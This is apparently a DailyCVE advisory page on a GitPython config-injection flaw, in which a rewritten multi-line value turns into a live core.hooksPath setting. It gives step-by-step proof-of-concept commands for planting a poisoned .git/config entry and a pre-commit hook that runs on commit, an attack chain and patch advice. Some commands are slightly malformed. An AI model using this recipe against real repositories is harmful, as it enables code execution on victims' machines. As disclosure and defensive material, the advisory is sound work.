GitPython, Config Injection, GITPYTHON-002 (Critical) -DC-Sep2026-2246

Listen to this Post

GitPython’s GitConfigParser implements a custom reader/writer for git‑config files. The reader (_read()) supports standard git multi‑line quoted values: a quoted string that is not closed on the same line continues onto the next physical line via a backslash‑continuation, and `string_decode()` uses `.decode(‘unicode_escape’)` to turn a literal `\n` inside such a value into a real embedded LF character in Python memory. This is entirely legitimate and matches real git’s behavior. The problem arises when that same `GitConfigParser` is later flushed to disk via `write_section()` / _write(). Instead of using the safe `_value_to_string_safe()` (which rejects unsafe characters), it calls the unsafe `_value_to_string()` and then “handles” embedded newlines with `.replace(“\n”, “\n\t”)` — emitting a bare unquoted newline‑tab sequence, with no backslash‑continuation marker. Real git does not interpret indentation‑only lines as value continuations; a value only spans multiple lines if the previous line ends in a literal backslash. Thus, when the file is rewritten, a previously‑decoded multi‑line value like `”A\nhooksPath = ../evil-hooks”` becomes two separate configuration lines: `zzz = A` and hooksPath = ../evil-hooks. The second line is parsed as a new, independent `core.hooksPath` directive, which is honored by all hook‑firing git operations (commit, checkout, merge, push, etc.). This leads to arbitrary code execution the next time the host application performs any such operation. The vulnerability is triggered by any unrelated, legitimate config write (e.g., repo.config_writer().set_value("user", "name", "Test")) after opening a repository whose `.git/config` (or an included file) contains a poisoned multi‑line value. The earlier fixes for related GHSAs only hardened the write‑argument setters (set_value(), etc.) but never checked values that came from the parser’s read path. The root cause is an asymmetric guard: the safe writer is not used for resident values, allowing a legitimate‑looking read to become an injection on rewrite. The PoC demonstrates that a dormant value with `\nhooksPath = ../evil-hooks` remains inert until GitPython rewrites it, after which `git config –get core.hookspath` returns the attacker’s path and a subsequent `git commit` executes the injected hook.

DailyCVE Form:

Platform: Python/GitPython
Version: 3.1.58 HEAD
Vulnerability: Config Injection
Severity: Critical
date: 2026-08-05

Prediction: TBD

What Undercode Say:

Setup a repository with a poisoned multi-line value:
git init repo
cd repo
git config user.email "[email protected]"
git config user.name "Test"
Manually add a dormant entry in .git/config:
echo '[bash]' > .git/config
echo '  zzz = "A\nhooksPath = ../evil-hooks\"' >> .git/config
Verify it's inert:
git config --get core.hookspath returns nothing
Now use GitPython to perform any unrelated write:
python3 -c "import git; r=git.Repo('.'); with r.config_writer() as cw: cw.set_value('user','name','Test User')"
After that, the config file now contains:
[bash]
zzz = A
hooksPath = ../evil-hooks
Now core.hookspath is live:
git config --get core.hookspath prints ../evil-hooks
Create a malicious hook and commit to trigger RCE:
mkdir -p ../evil-hooks
echo '!/bin/sh' > ../evil-hooks/pre-commit
echo 'touch /tmp/pwned' >> ../evil-hooks/pre-commit
chmod +x ../evil-hooks/pre-commit
echo "change" > file.txt
git add file.txt
git commit -m "trigger" executes the hook

Exploit: (Educational Purposes!)

  1. Attacker supplies a repository (or an included config file) containing a crafted multi‑line value, e.g., `zzz = “A\nhooksPath = ../evil-hooks\”` within the `[bash]` section.
  2. Victim opens this repository with GitPython (e.g., git.Repo(path)) and later performs any config write (e.g., setting a user name) via config_writer().
  3. GitPython’s `_write()` rewrites the entire config, corrupting the multi‑line value into two separate lines: `zzz = A` and hooksPath = ../evil-hooks.
  4. After the write, `core.hooksPath` is set to the attacker‑controlled path.
  5. Any subsequent git operation that triggers hooks (commit, checkout, merge, etc.) executes the attacker’s script, leading to arbitrary code execution.

Protection: from this CVE

  • Apply a patch that makes `write_section()` / `_write()` use `_value_to_string_safe()` for all resident values, ensuring embedded newlines are re‑emitted as properly quoted backslash‑continued values.
  • Alternatively, reject or neutralize control characters in values at read time when the parser is opened in read‑write mode.
  • Canonicalize output using `git config –file –replace-all` instead of the hand‑rolled writer.
  • As a workaround, avoid using `config_writer()` on repositories with untrusted config content; treat them as read‑only until a fix is available.

Impact:

Arbitrary code execution (RCE) on the victim’s machine with the privileges of the host application. The attack requires only that the victim opens an attacker‑controlled repository (or one with a malicious included config) and performs a single ordinary config write – a very common operation in GitPython‑based tools. This vulnerability bypasses the previous guards for config injection, as it does not rely on unsafe arguments but on the parser’s own round‑trip corruption.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top